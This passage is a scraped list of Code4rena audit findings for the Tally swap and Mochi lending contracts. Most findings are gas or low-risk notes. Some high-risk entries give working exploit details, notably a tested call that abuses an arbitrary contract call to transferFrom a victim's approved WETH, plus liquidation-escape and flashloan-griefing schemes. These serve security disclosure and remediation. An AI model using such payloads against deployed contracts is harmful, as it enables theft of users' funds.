"https://github.com/code-423n4/2021-10-tally-findings/issues/46", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "use of floating pragma"}, {"title": "Gas: Math library could be \"unchecked\"", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/43", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-tally-findings", "body": "# Handle cmichel # Vulnerability details The `Math` library uses Solidity version 0.8 which comes with built-in overflow checks which cost gas. The code already checks for underflows (`a > b` before doing the division), and therefore the built-in checks can be disabled everywhere for improved gas cost. ```solidity pragma solidity ^0.8.0; library Math { function subOrZero(uint256 a, uint256 b) internal pure returns (uint256) { unchecked { return a > b ? a - b : 0; } } function subOrZero(uint128 a, uint128 b) internal pure returns (uint128) { unchecked { return a > b ? a - b : 0; } } function subOrZero(uint64 a, uint64 b) internal pure returns (uint64) { unchecked { return a > b ? a - b : 0; } } function subOrZero(uint32 a, uint32 b) internal pure returns (uint32) { unchecked { return a > b ? a - b : 0; } } } ``` "}, {"title": "Gas: SafeMath is not needed when using Solidity version 0.8", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/42", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-tally-findings", "body": "# Handle cmichel # Vulnerability details The `Swap` contract uses Solidity version 0.8 which already implements overflow checks by default. At the same time, it uses the `SafeMath` library which is more gas expensive than the 0.8 overflow checks. It should just use the built-in checks and remove `SafeMath` from the dependencies: ```solidity // @audit can just normal arithmetic here uint256 toTransfer = SWAP_FEE_DIVISOR.sub(swapFee).mul(boughtERC20Amount).div(SWAP_FEE_DIVISOR); // uint256 toTransfer = (SWAP_FEE_DIVISOR - swapFee) * boughtERC20Amount / SWAP_FEE_DIVISOR; // same with many other computations ``` "}, {"title": "Gas: minReceived check can be simplified", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/41", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-tally-findings", "body": "# Handle cmichel # Vulnerability details The `minimumAmountReceived` check in `Swap.swapByQuote` is implemented like this: ```solidity require( ( !signifiesETHOrZero(zrxBuyTokenAddress) && boughtERC20Amount >= minimumAmountReceived ) || ( signifiesETHOrZero(zrxBuyTokenAddress) && boughtETHAmount >= minimumAmountReceived ), \"Swap::swapByQuote: Minimum swap proceeds requirement not met\" ); ``` It can be simplified to this which performs less calls to `signifiesETHOrZero` and less logical operators: ```solidity require( (signifiesETHOrZero(zrxBuyTokenAddress) ? boughtETHAmount : boughtERC20Amount) >= minimumAmountReceived, \"...\"); ``` "}, {"title": "Contract does not work well with fee-on transfer tokens", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/40", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "Contract does not work well with fee-on transfer tokens"}, {"title": "Arbitrary contract call allows attackers to steal ERC20 from users' wallets", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/37", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-10-tally-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-10-tally/blob/c585c214edb58486e0564cb53d87e4831959c08b/contracts/swap/Swap.sol#L200-L212 ```solidity function fillZrxQuote( IERC20 zrxBuyTokenAddress, address payable zrxTo, bytes calldata zrxData, uint256 ethAmount ) internal returns (uint256, uint256) { uint256 originalERC20Balance = 0; if(!signifiesETHOrZero(address(zrxBuyTokenAddress))) { originalERC20Balance = zrxBuyTokenAddress.balanceOf(address(this)); } uint256 originalETHBalance = address(this).balance; (bool success,) = zrxTo.call{value: ethAmount}(zrxData); ``` A call to an arbitrary contract with custom calldata is made in `fillZrxQuote()`, which means the contract can be an ERC20 token, and the calldata can be `transferFrom` a previously approved user. ### Impact The wallet balances (for the amount up to the allowance limit) of the tokens that users approved to the contract can be stolen. ### PoC Given: - Alice has approved 1000 WETH to `Swap.sol`; The attacker can: ``` TallySwap.swapByQuote( address(WETH), 0, address(WETH), 0, address(0), address(WETH), abi.encodeWithSignature( \"transferFrom(address,address,uint256)\", address(Alice), address(this), 1000 ether ) ) ``` As a result, 1000 WETH will be stolen from Alice and sent to the attacker. This PoC has been tested on a forking network. ### Recommendation Consider adding a whitelist for `zrxTo` addresses. "}, {"title": "Unused ERC20 tokens are not refunded", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/36", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "Unused ERC20 tokens are not refunded"}, {"title": "Consider removing `Math.sol`", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/35", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "Consider removing `Math.sol`"}, {"title": "Wrong calculation of `erc20Delta` and `ethDelta`", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/34", "labels": ["bug", "3 (High Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-10-tally-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-10-tally/blob/c585c214edb58486e0564cb53d87e4831959c08b/contracts/swap/Swap.sol#L200-L225 ```solidity function fillZrxQuote( IERC20 zrxBuyTokenAddress, address payable zrxTo, bytes calldata zrxData, uint256 ethAmount ) internal returns (uint256, uint256) { uint256 originalERC20Balance = 0; if(!signifiesETHOrZero(address(zrxBuyTokenAddress))) { originalERC20Balance = zrxBuyTokenAddress.balanceOf(address(this)); } uint256 originalETHBalance = address(this).balance; (bool success,) = zrxTo.call{value: ethAmount}(zrxData); require(success, \"Swap::fillZrxQuote: Failed to fill quote\"); uint256 ethDelta = address(this).balance.subOrZero(originalETHBalance); uint256 erc20Delta; if(!signifiesETHOrZero(address(zrxBuyTokenAddress))) { erc20Delta = zrxBuyTokenAddress.balanceOf(address(this)).subOrZero(originalERC20Balance); require(erc20Delta > 0, \"Swap::fillZrxQuote: Didn't receive bought token\"); } else { require(ethDelta > 0, \"Swap::fillZrxQuote: Didn't receive bought ETH\"); } return (erc20Delta, ethDelta); } ``` When a user tries to swap unwrapped ETH to ERC20, even if there is a certain amount of ETH refunded, at L215, `ethDelta` will always be `0`. That's because `originalETHBalance` already includes the `msg.value` sent by the caller. Let's say the ETH balance of the contract is `1 ETH` before the swap. - A user swaps `10 ETH` to USDC; - `originalETHBalance` will be `11 ETH`; - If there is `1 ETH` of refund; - `ethDelta` will be `0` as the new balance is `2 ETH` and `subOrZero(2, 11)` is `0`. Similarly, `erc20Delta` is also computed wrong. Consider a special case of a user trying to arbitrage from `WBTC` to `WBTC`, the `originalERC20Balance` already includes the input amount, `erc20Delta` will always be much lower than the actual delta amount. For example, for an arb swap from `1 WBTC` to `1.1 WBTC`, the `ethDelta` will be `0.1 WBTC` while it should be `1.1 WBTC`. ### Impact - User can not get ETH refund for swaps from ETH to ERC20 tokens; - Arb swap with the same input and output token will suffer the loss of almost all of their input amount unexpectedly. ### Recommendation Consider subtracting the input amount from the originalBalance. "}, {"title": "Check if `boughtETHAmount > 0` can save gas", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/31", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "Check if `boughtETHAmount > 0` can save gas"}, {"title": "Wrong value for `SwappedTokens` event parameter", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/28", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-tally-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-10-tally/blob/c585c214edb58486e0564cb53d87e4831959c08b/contracts/swap/Swap.sol#L174-L180 ```solidity emit SwappedTokens( zrxSellTokenAddress, zrxBuyTokenAddress, amountToSell, boughtETHAmount, boughtETHAmount.sub(toTransfer) ); ``` `amountToSell` will be 0 according to the comment: `If selling unwrapped ETH via msg.value, this should be 0.`, therefore, `msg.value` should be used instead. ### Recommendation Change to: ```solidity emit SwappedTokens( zrxSellTokenAddress, zrxBuyTokenAddress, msg.value, boughtETHAmount, boughtETHAmount.sub(toTransfer) ); ``` "}, {"title": "Insufficient input validation", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/25", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-tally-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/maple-labs/debt-locker/blob/81f55907db7b23d27e839b9f9f73282184ed4744/contracts/DebtLocker.sol#L85-L89 ```solidity=85 function setAllowedSlippage(uint256 allowedSlippage_) external override whenProtocolNotPaused { require(msg.sender == _getPoolDelegate(), \"DL:SAS:NOT_PD\"); emit AllowedSlippageSet(_allowedSlippage = allowedSlippage_); } ``` Considering that `_allowedSlippage` is a crucial settings for `getExpectedAmount()`, it's necessary to add `require(_allowedSlippage < 10000, \"...\")` to validate the input. If `_allowedSlippage` is misconfigured to a value > `10000`, `getExpectedAmount()` will always revert. ### Recommendation Change to: ```solidity=85 function setAllowedSlippage(uint256 allowedSlippage_) external override whenProtocolNotPaused { require(msg.sender == _getPoolDelegate(), \"DL:SAS:NOT_PD\"); require(_allowedSlippage < 10000, \"!slippage\") emit AllowedSlippageSet(_allowedSlippage = allowedSlippage_); } ``` "}, {"title": "Upgrade pragma to at least 0.8.4", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/23", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "# Handle robee # Vulnerability details Using newer compiler versions and the optimizer gives gas optimizations and additional safety checks are available for free. The advantages of versions 0.8.* over <0.8.0 are: 1. Safemath by default from 0.8.0 (can be more gas efficient than library based safemath.) 2. Low level inliner : from 0.8.2, leads to cheaper runtime gas. Especially relevant when the contract has small functions. For example, OpenZeppelin libraries typically have a lot of small helper functions and if they are not inlined, they cost an additional 20 to 40 gas because of 2 extra jump instructions and additional stack operations needed for function calls. 3. Optimizer improvements in packed structs: Before 0.8.3, storing packed structs, in some cases used an additional storage read operation. After EIP-2929, if the slot was already cold, this means unnecessary stack operations and extra deploy time costs. However, if the slot was already warm, this means additional cost of 100 gas alongside the same unnecessary stack operations and extra deploy time costs. 4. Custom errors from 0.8.4, leads to cheaper deploy time cost and run time cost. Note: the run time cost is only relevant when the revert condition is met. In short, replace revert strings by custom errors. IController.sol IManager.sol Manager.sol BridgeMinter.sol "}, {"title": "Events not indexed", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/22", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "Events not indexed"}, {"title": "Incorrect FeesSwept amount being emitted in sweepFees function", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/21", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-tally-findings", "body": "# Handle harleythedog # Vulnerability details ## Impact In the sweepFees function, address(this).balance is being used as the \"amount\" in the SweepFees event immediately after a transfer. So, the amount in the event on line 258 will always be 0, but it should be what address(this).balance was before the transfer. This has implications on overall functionality, tools that are monitoring this event will receive incorrect information. A fix is to store the value before calling the transfer. ## Proof of Concept referenced lines in sweepFees function: https://github.com/code-423n4/2021-10-tally/blob/main/contracts/swap/Swap.sol#:~:text=feeRecipient.transfer(address,this).balance%2C%20feeRecipient)%3B A more correct implementation would be: uint256 amount = address(this).balance; feeRecipient.transfer(address(this).balance); emit FeesSwept(address(0), amount, feeRecipient); ## Tools Used Manual inspection ## Recommended Mitigation Steps Store balance before calling transfer, as above. "}, {"title": "Swap.sol implements potentially dangerous transfer ", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/20", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "Swap.sol implements potentially dangerous transfer "}, {"title": "Emit feeRecipient_ (memory) instead of feeRecipient (storage)", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/19", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "Emit feeRecipient_ (memory) instead of feeRecipient (storage)"}, {"title": "Remove duplicate reads of storage variables", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/18", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "Remove duplicate reads of storage variables"}, {"title": "frontrun swapByQuote or abuse high allowance - replacement", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/17", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "frontrun swapByQuote or abuse high allowance - replacement"}, {"title": "double reading calldata variable inside a loop ", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "double reading calldata variable inside a loop "}, {"title": "Swap fee can be set to 100%", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/10", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "Swap fee can be set to 100%"}, {"title": "Use of uint8 for counter in for loop increases gas costs", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/7", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "Use of uint8 for counter in for loop increases gas costs"}, {"title": "Gas Optimization: Reduce the size of error messages.", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/5", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-tally-findings", "body": "Gas Optimization: Reduce the size of error messages."}, {"title": "Unnecessary conditions causing Over Gas consumption", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/3", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "Unnecessary conditions causing Over Gas consumption"}, {"title": "Unnecessary conditions cause Gas wastage", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-10-tally-findings", "body": "Unnecessary conditions cause Gas wastage"}, {"title": "`MochiVault.flashFee()` May Truncate Result", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/171", "labels": ["bug", "1 (Low Risk)"], "target": "2021-10-mochi-findings", "body": "`MochiVault.flashFee()` May Truncate Result"}, {"title": "`flashLoan()` is Lacking Protections Against Reentrancy", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/170", "labels": ["bug", "0 (Non-critical)"], "target": "2021-10-mochi-findings", "body": "`flashLoan()` is Lacking Protections Against Reentrancy"}, {"title": "`MochiTreasuryV0.sol` Is Unusable In Its Current State", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/168", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle leastwood # Vulnerability details ## Impact `MochiTreasuryV0.sol` interacts with Curve's voting escrow contract to lock tokens for 90 days, where it can be later withdrawn by the governance role. However, `VotingEscrow.vy` does not allow contracts to call the following functions; `create_lock()`, `increase_amount()` and `increase_unlock_time()`. For these functions, `msg.sender` must be an EOA account or an approved smart wallet. As a result, any attempt to lock tokens will fail in `MochiTreasuryV0.sol`. ## Proof of Concept https://github.com/curvefi/curve-dao-contracts/blob/master/contracts/VotingEscrow.vy#L418 https://github.com/curvefi/curve-dao-contracts/blob/master/contracts/VotingEscrow.vy#L438 https://github.com/curvefi/curve-dao-contracts/blob/master/contracts/VotingEscrow.vy#L455 ## Tools Used Manual code review Discussions with the Mochi team ## Recommended Mitigation Steps Consider updating this contract to potentially use another escrow service that enables `msg.sender` to be a contract. Alternatively, this escrow functionality can be replaced with an internal contract which holds `usdm` tokens instead, removing the need to convert half of the tokens to Curve tokens. Holding Curve tokens for a minimum of 90 days may overly expose the Mochi treasury to Curve token price fluctuations. "}, {"title": "Mochi Protocol Is Lacking Extensive Test Coverage", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/167", "labels": ["0 (Non-critical)", "disagree with severity"], "target": "2021-10-mochi-findings", "body": "Mochi Protocol Is Lacking Extensive Test Coverage"}, {"title": "`MochiTreasuryV0.claimOperationCost()` Writes State Variable After An External Call Is Made", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/163", "labels": ["bug", "0 (Non-critical)"], "target": "2021-10-mochi-findings", "body": "`MochiTreasuryV0.claimOperationCost()` Writes State Variable After An External Call Is Made"}, {"title": "`MochiTreasuryV0.sol` Implements `receive()` Function With No Withdraw Mechanism", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/162", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The `MochiTreasuryV0.sol` contract freely receives ETH from users/other contracts. In the event this does happen, ETH is permanently locked and unrecoverable by the protocol's governance framework. ## Proof of Concept https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/treasury/MochiTreasuryV0.sol ## Tools Used Manual code review Slither ## Recommended Mitigation Steps Consider enabling ETH withdraws for the governance role. "}, {"title": "`MochiTreasuryV0.withdrawLock()` Is Callable When Locking Has Been Toggled", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/161", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle leastwood # Vulnerability details ## Impact `withdrawLock()` does not prevent users from calling this function when locking has been toggled. As a result, withdraws may be made unexpectedly. ## Proof of Concept https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/treasury/MochiTreasuryV0.sol#L40-L42 ## Tools Used Manual code review ## Recommended Mitigation Steps Consider adding `require(lockCrv, \"!lock\");` to `withdrawLock()` to ensure this function is not called unexpectedly. Alternatively if this is intended behaviour, it should be rather checked that the lock has not been toggled, otherwise users could maliciously relock tokens. "}, {"title": "debts <= _amount", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/159", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-mochi-findings", "body": "debts <= _amount"}, {"title": "Duplicate math operations", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/158", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-mochi-findings", "body": "Duplicate math operations"}, {"title": "Unchecked math", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/156", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-mochi-findings", "body": "Unchecked math"}, {"title": "Improper Validation Of `create2` Return Value", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/155", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The `BeaconProxyDeployer.deploy()` function is used to deploy lightweight proxy contracts that act as each asset's vault. The function does not revert properly if there is a failed contract deployment or revert from the `create2` opcode as it does not properly check the returned address for bytecode. The `create2` opcode returns the expected address which will never be the zero address (as is what is currently checked). ## Proof of Concept https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-library/contracts/BeaconProxyDeployer.sol#L31 ## Tools Used Manual code review Discussions with the Mochi team Discussions with library dev ## Recommended Mitigation Steps The recommended mitigation was to update `iszero(result)` to `iszero(extcodesize(result))` in the line mentioned above. This change has already been made in the corresponding library which can be found [here](https://github.com/Nipol/bean-contracts/pull/13), however, this needs to also be reflected in Mochi's contracts. "}, {"title": "Useless imports", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/154", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle Jujic # Vulnerability details ## Impact contract WJLP does not need to import this contract in production ``` import \"hardhat/console.sol\"; ``` ## Proof of Concept https://github.com/code-423n4/2021-12-yetifinance/blob/5f5bf61209b722ba568623d8446111b1ea5cb61c/packages/contracts/contracts/AssetWrappers/WJLP/WJLP.sol#L8 https://github.com/code-423n4/2021-12-yetifinance/blob/5f5bf61209b722ba568623d8446111b1ea5cb61c/packages/contracts/contracts/AssetWrappers/WJLP/WJLP.sol#L152-L160 ## Tools Used Remix ## Recommended Mitigation Steps Remove this contract to reduce the size of the contract and thus save some deployment gas. "}, {"title": "Pack structs tightly", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/153", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "Pack structs tightly"}, {"title": "Cache the results of duplicate external calls", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/152", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-mochi-findings", "body": "Cache the results of duplicate external calls"}, {"title": "Improve precision and gas costs in_shareMochi", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/150", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle pauliax # Vulnerability details ## Impact This not only loses some precision (cuz of multiplication and division) but also consumes more gas: // send Mochi to vMochi Vault mochi.transfer( address(engine.vMochi()), (mochiBalance * vMochiRatio) / 1e18 ); // send Mochi to veCRV Holders mochi.transfer( crvVoterRewardPool, (mochiBalance * (1e18 - vMochiRatio)) / 1e18 ); ## Recommended Mitigation Steps Proposed improvement: // send Mochi to vMochi Vault uint toVault = (mochiBalance * vMochiRatio) / 1e18; mochi.transfer( address(engine.vMochi()), toVault ); // send Mochi to veCRV Holders mochi.transfer( crvVoterRewardPool, mochiBalance - toVault; ); This way you the whole mochiBalance will be transferred and it will cost less to do that as fewer math operations are performed. "}, {"title": "Open TODOs/questions", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/139", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Open TODOs can point to programming or other errors that still need to be fixed. ## Proof of Concept These are TODOs written as comments: https://github.com/code-423n4/2021-10-mochi/blob/8458209a52565875d8b2cefcb611c477cefb9253/projects/mochi-core/contracts/feePool/FeePoolV0.sol#L57 https://github.com/code-423n4/2021-10-mochi/blob/8458209a52565875d8b2cefcb611c477cefb9253/projects/mochi-core/contracts/vault/MochiVault.sol#L163 ## Tools Used VS Code ## Recommended Mitigation Steps Resolve the TODOs/open questions. "}, {"title": "UniswapV2/SushiwapLPAdapter update the wrong token", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/134", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle cmichel # Vulnerability details The `UniswapV2LPAdapter/SushiswapV2LPAdapter.update` function retrieves the `underlying` from the LP token pair (`_asset`) but then calls `router.update(_asset, _proof)` which is the LP token itself again. This will end up with the router calling this function again recursively. ## Impact This function fails as there's an infinite recursion and eventually runs out of gas. ## Recommendation The idea was most likely to update the `underlying` price which is used in `_getPrice` as `uint256 eAvg = cssr.getExchangeRatio(_underlying, weth);`. Call `router.update(underlying, _proof)` instead. Note that the `_proof` does not necessarily update the `underlying <> WETH` pair, it could be any `underlying <> keyAsset` pair. "}, {"title": "Changing engine.nft contract breaks vaults", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/130", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle cmichel # Vulnerability details Governance can change the `engine.nft` address which is used by vaults to represent collateralized debt positions (CDP). When minting a vault using `MochiVault.mint` the address returned ID will be used and overwrite the state of an existing debt position and set its status to `Idle`. ## Impact Changing the NFT address will allow overwriting existing CDPs. ## Recommended Mitigation Steps Disallow setting a new NFT address. or ensure that the new NFT's IDs start at the old NFT's IDs. "}, {"title": "Debt accrual is path-dependant and inaccurate", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/129", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle cmichel # Vulnerability details The total `debt` in `MochiVault.accrueDebt` increases by the current `debt` times the debt index growth. This is correct but the total `debt` is then _reduced_ again by the calling _user's_ discounted debt, meaning, the total debt depends on which specific user performs the debt accrual. This should not be the case. ## POC Assume we have a total debt of `2000`, two users A and B, where A has a debt of 1000, and B has a debt of 100. The (previous) `debtIndex = 1.0` and accruing it now would increase it to `1.1`. There's a difference if user A or B first does the accrual. #### User A accrues first User A calls `accrueDebt`: `increased = 2000 * 1.1/1.0 - 2000 = 200`. Thus `debts` is first set to `2200`. The user's `increasedDebt = 1000 * 1.1 / 1.0 - 1000 = 100` and assume a discount of `10%`, thus `discountedDebt = 100 * 10% = 10`. Then `debts = 2200 - 10 = 2190`. The next accrual will work with a total debt of `2190`. #### User B accruess first User B calls `accrueDebt`: `increased = 2000 * 1.1/1.0 - 2000 = 200`. Thus `debts` is first set to `2200`. The user's `increasedDebt = 100 * 1.1 / 1.0 - 100 = 10` and assume a discount of `10%`, thus `discountedDebt = 10 * 10% = 1`. Then `debts = 2200 - 1 = 2199`. The next accrual will work with a total debt of `2199`, leading to more debt overall. ## Impact The total debt of a system depends on who performs the accruals which should ideally not be the case. The discrepancy compounds and can grow quite large if a whale always does the accrual compared to someone with almost no debt or no discount. ## Recommended Mitigation Steps Don't use the discounts or track the weighted average discount across all users that is subtracted from the increased total debt each time, i.e., reduce it by the discount of **all users** (instead of current caller only) when accruing to correctly track the debt. "}, {"title": "A malicious user can potentially escape liquidation by creating a dust amount position and trigger the liquidation by themself", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/127", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle WatchPug # Vulnerability details In the current implementation, a liquidated position can be used for depositing and borrowing again. However, if there is a liquidation auction ongoing, even if the position is now `liquidatable`, the call of `triggerLiquidation()` will still fail. The liquidator must `settleLiquidation` first. If the current auction is not profitable for the liquidator, say the value of the collateral can not even cover the gas cost, the liquidator may be tricked and not liquidate the new loan at all. Considering if the liquidator bot is not as small to handle this situation (take the profit of the new liquidation and the gas cost loss of the current auction into consideration), a malicious user can create a dust amount position trigger the liquidation by themself. Since the collateral of this position is so small that it can not even cover the gas cost, liquidators will most certainly ignore this auction. The malicious user will then deposit borrow the actual loan. When this loan becomes `liquidatable`, liquidators may: 1. confuse the current dust auction with the `liquidatable` position; 2. unable to proceed with such a complex liquidation. As a result, the malicious user can potentially escape liquidation. ### Recommendation Consider making liquidated positions unable to be used (for depositing and borrowing) again. "}, {"title": "liquidation factor < collateral factor for Sigma type", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/126", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle cmichel # Vulnerability details The `MochiProfileV0` defines liquidation and collateral factors for different asset types. For the `AssetClass.Sigma` type, the liquidation factor is _less_ than the collateral factor: ```solidity function liquidationFactor(address _asset) public view override returns (float memory) { AssetClass class = assetClass(_asset); if (class == AssetClass.Sigma) { // } else if (class == AssetClass.Sigma) { return float({numerator: 40, denominator: 100}); } } function maxCollateralFactor(address _asset) public view override returns (float memory) { AssetClass class = assetClass(_asset); if (class == AssetClass.Sigma) { return float({numerator: 45, denominator: 100}); } } ``` This means that one can take a loan of up to 45% of their collateral but then immediately gets liquidated as the liquidation factor is only 40%. There should always be a buffer between these such that taking the max loan does not immediately lead to liquidations: > A safety buffer is maintained between max CF and LF to protect users against liquidations due to normal volatility. [Docs](https://hackmd.io/@az-/mochi-whitepaper#Collateral-Factor-CF) ## Recommended Mitigation Steps The max collateral factor for the Sigma type should be higher than its liquidation factor. "}, {"title": "Flashloan fee griefing attack for existing approvals", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/124", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle cmichel # Vulnerability details If a flashloan contract does not properly authenticate the `USDM` flashloan contract callbacks, anyone can perform a griefing attack which will lead to the caller losing tokens equal to the fees. This is because the flashloan `receiver` is not authenticated and anyone can start flashloans on behalf of another contract. They don't even need to approve the `usdm` contract as it uses internal `_burn` and `_transfer` functions instead of `burnFrom`/`transferFrom`. #### POC 1. Call `FlashLoan.flashLoan(receiver=victim, ...)`. 2. Loan amount + fees will be burned/transferred from the `receiver` in `_loan`. If fees are non-zero, it's possible to drain the victim's balance if their contract is implemented incorrectly without proper authentication checks. #### Recommendation This is an inherent issue with EIP-3156 which defines the interface with an arbitrary `receiver`. Contracts should be aware to revert if the flashloan was not initiated by them. To mitigate this issue one could use functions that work with explicit approvals from the victim, instead of using internal `_burn` and `_transfer` functions. This way, the victim must first have approved the tokens for transfer. "}, {"title": "Key currencies can be double counted", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/122", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-10-mochi-findings", "body": "Key currencies can be double counted"}, {"title": "Declaring unnecessary immutable variables as constant can save gas", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/117", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle WatchPug # Vulnerability details In `MochiProfileV0.sol`, `secPerYear` is defined as an immutable variable while it's not configured as a parameter of the constructor. Thus, it can be declared as constant to save gas. https://github.com/code-423n4/2021-10-mochi/blob/8458209a52565875d8b2cefcb611c477cefb9253/projects/mochi-core/contracts/profile/MochiProfileV0.sol#L23-L28 ```solidity=23 uint256 public immutable secPerYear; uint256 public override delay; constructor(address _engine) { secPerYear = 31536000; ``` ### Recommendation Change to: ```solidity=23 uint256 public constant SEC_PER_YEAR = 31536000; ``` "}, 